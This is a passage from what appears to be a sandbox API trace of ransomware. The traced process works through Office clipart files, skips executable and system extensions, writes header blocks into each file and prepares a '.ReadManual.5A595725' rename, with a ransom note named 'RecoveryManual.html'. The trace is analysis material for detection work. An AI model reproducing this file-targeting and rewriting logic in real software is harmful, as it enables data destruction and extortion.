hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7466) returned 1 [0271.420] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d2a, lpName=0x0) returned 0x184 [0271.420] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.421] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.421] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.422] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.423] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d2a) returned 0x2f0000 [0271.423] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.423] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39209150754) returned 1 [0271.423] CloseHandle (hObject=0x184) returned 1 [0271.423] SetSecurityInfo () returned 0x57 [0271.423] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.423] CloseHandle (hObject=0x194) returned 1 [0271.423] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE02957_.WMF", cAlternateFileName="")) returned 1 [0271.423] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE02957_.WMF" | out: lpString1="PE02957_.WMF") returned="PE02957_.WMF" [0271.423] lstrcmpiW (lpString1="PE02957_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.423] StrStrIW (lpFirst="PE02957_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.423] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.423] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.423] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.423] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.423] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.423] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.423] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.423] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.423] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.423] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.423] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.424] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.424] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.424] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.424] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF" [0271.424] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF.ReadManual.5A595725" [0271.424] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF.ReadManual.5A595725") returned 87 [0271.424] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39209246682) returned 1 [0271.424] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf")) returned 0x20 [0271.425] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.425] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3184) returned 1 [0271.425] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc70, lpName=0x0) returned 0x184 [0271.425] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.426] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.426] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.428] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.428] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc70) returned 0x2f0000 [0271.428] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.428] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39209678188) returned 1 [0271.428] CloseHandle (hObject=0x184) returned 1 [0271.428] SetSecurityInfo () returned 0x57 [0271.428] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.428] CloseHandle (hObject=0x194) returned 1 [0271.428] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b17c400, ftCreationTime.dwHighDateTime=0x1bd4af8, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b17c400, ftLastWriteTime.dwHighDateTime=0x1bd4af8, nFileSizeHigh=0x0, nFileSizeLow=0x614, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE03236_.WMF", cAlternateFileName="")) returned 1 [0271.428] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE03236_.WMF" | out: lpString1="PE03236_.WMF") returned="PE03236_.WMF" [0271.428] lstrcmpiW (lpString1="PE03236_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.428] StrStrIW (lpFirst="PE03236_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.428] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.428] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.428] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.429] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.429] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.429] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.429] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.429] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.429] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.429] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.429] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.429] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.429] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.429] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.429] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF" [0271.429] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF.ReadManual.5A595725" [0271.429] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF.ReadManual.5A595725") returned 87 [0271.429] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39209769650) returned 1 [0271.429] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf")) returned 0x20 [0271.429] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.429] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1556) returned 1 [0271.430] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x614, lpName=0x0) returned 0x184 [0271.430] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.452] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.452] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.453] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.453] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x614) returned 0x2f0000 [0271.453] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.453] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39212220784) returned 1 [0271.453] CloseHandle (hObject=0x184) returned 1 [0271.454] SetSecurityInfo () returned 0x57 [0271.454] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.454] CloseHandle (hObject=0x194) returned 1 [0271.454] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b00e400, ftCreationTime.dwHighDateTime=0x1bd4afa, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b00e400, ftLastWriteTime.dwHighDateTime=0x1bd4afa, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE03241_.WMF", cAlternateFileName="")) returned 1 [0271.454] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE03241_.WMF" | out: lpString1="PE03241_.WMF") returned="PE03241_.WMF" [0271.454] lstrcmpiW (lpString1="PE03241_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.454] StrStrIW (lpFirst="PE03241_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.454] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.454] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.454] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.454] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.454] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.454] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.454] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.454] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.454] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.454] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.454] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.454] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.454] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.454] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.454] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF" [0271.454] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF.ReadManual.5A595725" [0271.454] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF.ReadManual.5A595725") returned 87 [0271.454] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39212310222) returned 1 [0271.454] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf")) returned 0x20 [0271.455] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.455] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2228) returned 1 [0271.456] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b4, lpName=0x0) returned 0x184 [0271.456] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.456] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.456] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.459] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.459] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b4) returned 0x2f0000 [0271.459] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.459] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39212814149) returned 1 [0271.459] CloseHandle (hObject=0x184) returned 1 [0271.459] SetSecurityInfo () returned 0x57 [0271.460] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.460] CloseHandle (hObject=0x194) returned 1 [0271.460] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb921ed00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb921ed00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x3380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE03257_.WMF", cAlternateFileName="")) returned 1 [0271.460] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE03257_.WMF" | out: lpString1="PE03257_.WMF") returned="PE03257_.WMF" [0271.460] lstrcmpiW (lpString1="PE03257_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.460] StrStrIW (lpFirst="PE03257_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.460] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.460] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.460] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.460] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.460] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.460] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.460] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.460] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.460] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.460] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.460] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.460] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.460] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.460] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.460] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF" [0271.460] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF.ReadManual.5A595725" [0271.460] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF.ReadManual.5A595725") returned 87 [0271.460] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39212903680) returned 1 [0271.460] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf")) returned 0x20 [0271.461] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.461] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13184) returned 1 [0271.461] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3380, lpName=0x0) returned 0x184 [0271.461] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.462] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.462] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.465] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.465] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3380) returned 0x2f0000 [0271.465] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.465] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39213387385) returned 1 [0271.465] CloseHandle (hObject=0x184) returned 1 [0271.465] SetSecurityInfo () returned 0x57 [0271.465] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.465] CloseHandle (hObject=0x194) returned 1 [0271.465] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31379600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31379600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE03331_.WMF", cAlternateFileName="")) returned 1 [0271.465] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE03331_.WMF" | out: lpString1="PE03331_.WMF") returned="PE03331_.WMF" [0271.465] lstrcmpiW (lpString1="PE03331_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.465] StrStrIW (lpFirst="PE03331_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.466] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.466] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.466] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.466] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.466] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.466] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.466] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.466] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.466] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.466] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.466] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.466] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.466] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.466] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.466] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF" [0271.466] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF.ReadManual.5A595725" [0271.466] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF.ReadManual.5A595725") returned 87 [0271.466] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39213476906) returned 1 [0271.466] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf")) returned 0x20 [0271.508] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.509] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1682) returned 1 [0271.509] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x692, lpName=0x0) returned 0x184 [0271.509] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.509] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.510] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.555] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.555] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x692) returned 0x2f0000 [0271.555] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.555] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39222421095) returned 1 [0271.555] CloseHandle (hObject=0x184) returned 1 [0271.556] SetSecurityInfo () returned 0x57 [0271.556] LocalFree (hMem=0x76c1a55b) returned 